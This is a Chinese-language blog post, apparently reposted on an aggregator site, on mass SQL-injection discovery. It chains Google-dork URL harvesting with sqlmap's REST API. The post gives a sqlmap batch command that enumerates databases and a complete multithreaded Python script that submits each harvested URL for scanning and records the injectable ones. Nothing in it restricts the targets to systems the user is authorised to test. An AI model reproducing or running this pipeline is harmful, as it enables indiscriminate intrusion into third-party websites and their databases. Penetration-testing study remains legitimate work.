利用Sqlmap API接口联动Google Hacking批量SQL注入检测

这篇具有很好参考价值的文章主要介绍了利用Sqlmap API接口联动Google Hacking批量SQL注入检测。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录
  • 前言
  • slghack自动化搜集URL
  • Sqlmap API
  • 脚本slghack_sqli

前言

挖掘SQL注入漏洞的一种方式就是通过Google Hacking搜索那些可能存在SQL的URL,然后手工的探测注入点。但是现在的SQL注入漏洞的网站是比较少的了,所以这样一个一个手工测效率有一点低。

sqlmap比较好的一点是可批量扫描多个URL中的注入点,比如这样:

准备一个包含要扫描的URL列表的文件(每个URL占一行),然后使用 -m 选项指定要扫描的这个URL文件,执行如下的命令就可以:

sqlmap -m urls.txt --batch --level=3 --random-agent --dbs

还可以使用 --threads 来指定要使用的线程数。

slghack自动化搜集URL

最近写了一个小的python爬虫脚本,能从Google页面批量爬取URL。

利用Sqlmap API接口联动Google Hacking批量SQL注入检测

slghack是一个基于Python第三方库yagooglesearch开发的,使用之前需要安装依赖: pip install yagooglesearch

项目地址: https://github.com/zhx-hex/slghack

Sqlmap API

在Sqlmap项目的根目录下面有个sqlmapapi.py,可能很少有人注意到。

sqlmapapi.py就是sqlmap的分布式扫描sql注入,可以利用sqlmapapi.py开启服务端口,然后向sqlmapapi发送请求,就可以进行sql注入。

使用方法也很简单 python sqlmapapi.py -s,在本地的8775端口就会开启一个sqlmapapi 的服务,也可以通过 -p 指定端口。

利用Sqlmap API接口联动Google Hacking批量SQL注入检测

sqlmapapi 没有官方的API文档,只有一些第三方的文档。

参考文档:Unofficial SQLmap RESTful API documentation

大致工作流程:

  1. 通过GET请求 http://ip:port/task/new 创建一个新的扫描任务

  2. 通过POST请求 http://ip:port/scan/start 并通过json格式提交参数,开启一个扫描

  3. 通过GET请求 http://ip:port/scan//status 来获取指定的taskid的扫描状态:一种是run状态,一种是terminated状态

  4. 扫描完成后获取扫描的结果

脚本slghack_sqli

把slghack搜集到的URL复制到sql_urls.txt里面,就可以多线程批量检测了。

import json
import queue
import requests
from threading import Thread
from time import sleep

class slghack_sqli:
    def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
        self.server = server
        self.urlsfile = urlsfile
        self.ouput = output
        self.task_queue = queue.Queue()

    def get_urls(self):
        with open(self.urlsfile, "r") as f:
            for url in f.readlines():
                self.task_queue.put(url.strip())

    def sent_server(self):
        threads = []
        while not self.task_queue.empty():
            url = self.task_queue.get().strip()
            print(f"Target URL: {url}")
            t = Thread(target=self.scan, args=(url,))
            threads.append(t)
            t.start()

        for t in threads:
            t.join()

    def scan(self, url):
        try:
            # 通过GET请求 http://ip:port/task/new 创建一个新的扫描任务
            r = requests.get(f"{self.server}/task/new")
            taskid = r.json()['taskid']
            # 通过POST请求 http://ip:port/scan/start 并通过json格式提交参数,开启一个扫描
            r = requests.post(
                f"{self.server}/scan/{taskid}/start",
                data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
            )
            # 通过GET请求 http://ip:port/scan//status 来获取指定的taskid的扫描状态
            r = requests.get(f"{self.server}/scan/{taskid}/status")
            count = 0
            while r.json()["status"] == "running":
                sleep(6)
                r = requests.get(f"{self.server}/scan/{taskid}/status")
                print(r.json()["status"])
                count += 1
                if count == 30:
                    # 每个task最多跑6*30=180s结束
                    requests.get(f"{self.server}/scan/{taskid}/stop")
            r = requests.get(f"{self.server}/scan/{taskid}/data")
            requests.get(f"{self.server}/scan/{taskid}/delete")
            if r.json()['data']:
                print("Injection found: " + url)
                with open(self.ouput, "a") as f:
                    f.write(url + "\n")
        except requests.ConnectionError:
            print("Connection error!")


if __name__ == '__main__':
    # 把slghack跑的结果复制到sql_urls.txt
    ssqli = slghack_sqli(urlsfile='sql_urls.txt')
    ssqli.get_urls()
    ssqli.sent_server()

利用Sqlmap API接口联动Google Hacking批量SQL注入检测

这种批量扫描,比手工测试的效率肯定要高很多。

参考文章: https://www.freebuf.com/articles/web/204875.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ文章来源地址https://www.toymoban.com/news/detail-851508.html

到了这里,关于利用Sqlmap API接口联动Google Hacking批量SQL注入检测的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 信息收集之Google Hacking

    GoogleHacking作为常用且方便的信息收集 搜索引擎工具 ,它是利用谷歌搜索强大,可以搜出不想被看到的后台、泄露的信息、未授权访问,甚至还有一些网站配置密码和网站漏洞等。掌握了Google Hacking基本使用方法,或许下一秒就是惊喜! GoogleHacking语法: https://www.exploit-db.co

    2024年02月06日
    浏览(23)
  • 渗透测试模拟(使用sqlmap进行sql注入漏洞判断,利用该漏洞进行挂马)

    环境:对某网站进行渗透测试。 (PHP+Mysql开发的网站,用于WEB漏洞教学和检测的) 工具:sqlmap(Kali Linux中自带or官网下载Windows版) 此次实验所涉及的sqlmap参数: 一、信息收集 二、漏洞挖掘 (1)判断网站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目标网站地址\\\" --ba

    2024年02月15日
    浏览(36)
  • API攻防-接口安全&SOAP&OpenAPI&RESTful&分类特征导入&项目联动检测

    接口是后端设计的一套供给第三方使用的方法 举个例子,fofa提供了第三方api接口来进行调用,使用查询语法获取资产目标资产信息 输入相关参数进行调用 API安全就是围绕着这一个接口进行的,可能存在的漏洞包括:SQL注入、身份验证、信息泄漏、XSS跨站等 Web Service是基于网

    2024年02月07日
    浏览(34)
  • 相关搜索引擎常用搜索语法(Google hacking语法和FOFA语法)

    一:Google Hack语法      Google Hacking原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎并使用一些高级的搜索语法来搜索信息。既利用搜索引擎强大的搜索功能,在在浩瀚的互联网中搜索到我们需要的信息。 (一)常用基本搜索语法 1)完整搜

    2024年02月12日
    浏览(43)
  • 利用R语言通过百度地图API进行批量地理编码

    当您有大量的地点名称需要在地图上来呈现时,首先要在在线地图上找到该地址的坐标,通常是指经纬度,如果能够用代码来实现,便少了许多费时费力的体力活儿,以下将详细介绍地理编码的详细实现路径,即使您是一个编程小白,只要会打开软件,也可轻松搞定批量地理

    2024年02月11日
    浏览(32)
  • Postman 批量导出接口:如何快速备份你的 API

    在使用  Postman  接口测试工具时,我们可能会需要将多个接口进行导出,以备后续使用或与他人共享。下面将介绍如何使用 Postman 批量导出接口。 首先,我们需要进入 Postman 中的集合,该集合中包含了我们需要导出的接口。在左侧导航栏中选择“集合”选项卡,即可进入集

    2024年02月08日
    浏览(36)
  • 利用jira及confluence的API进行批量操作(查找/更新/导出/备份/删除等)

    近期因为某些原因需要批量替换掉 jira 和 confluence中的特定,而且在替换前还希望进行备份(以便后续恢复)和导出(方便查看) atlassian官方的api介绍文档太简陋,很多传参都没有进一步的描述说明,过程中踩了不少的坑... 故现将相关代码分享下,希望有类似需求的朋

    2024年02月07日
    浏览(31)
  • API接口漏洞利用及防御

    API是不同软件系统之间进行数据交互和通信的一种方式。API接口漏洞指的是在API的设计、开发或实现过程中存在的安全漏洞,可能导致恶意攻击者利用这些漏洞来获取未授权的访问、篡改数据、拒绝服务等恶意行为。 API(Application Programming Interface,应用程序编程接口)是不同

    2024年02月12日
    浏览(36)
  • API接口测试-postman批量执行测试用例及参数化

    当面对多个用例集场景时,单独请求某一接口会影响效率,而当我们为每个接口请求设置好相关的自动化断言代码后,是可以使用“用例集”为单位进行批量执行测试用例的,且可以模拟一些小规模的并发测试场景,本文将分享postman批量执行测试用例的方法及参数化方案。

    2024年02月02日
    浏览(31)
  • 【python】通过gitlab v4版本api接口批量拉取代码、迁移

    适用场景:批量拉取代码,仓库转移 脚本适用于:python2 测试版本:2.7.18 apiToken: gitlab个人账户授权的apitoken ,通过点击右上角【用户头像】-选择【Edit profile】 -菜单中选择【 访问令牌】,右侧 进行创建,建议给予全部权限 projectUrl: gitlab地址,一般只需要修改ip和端口 allpro

    2024年02月01日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包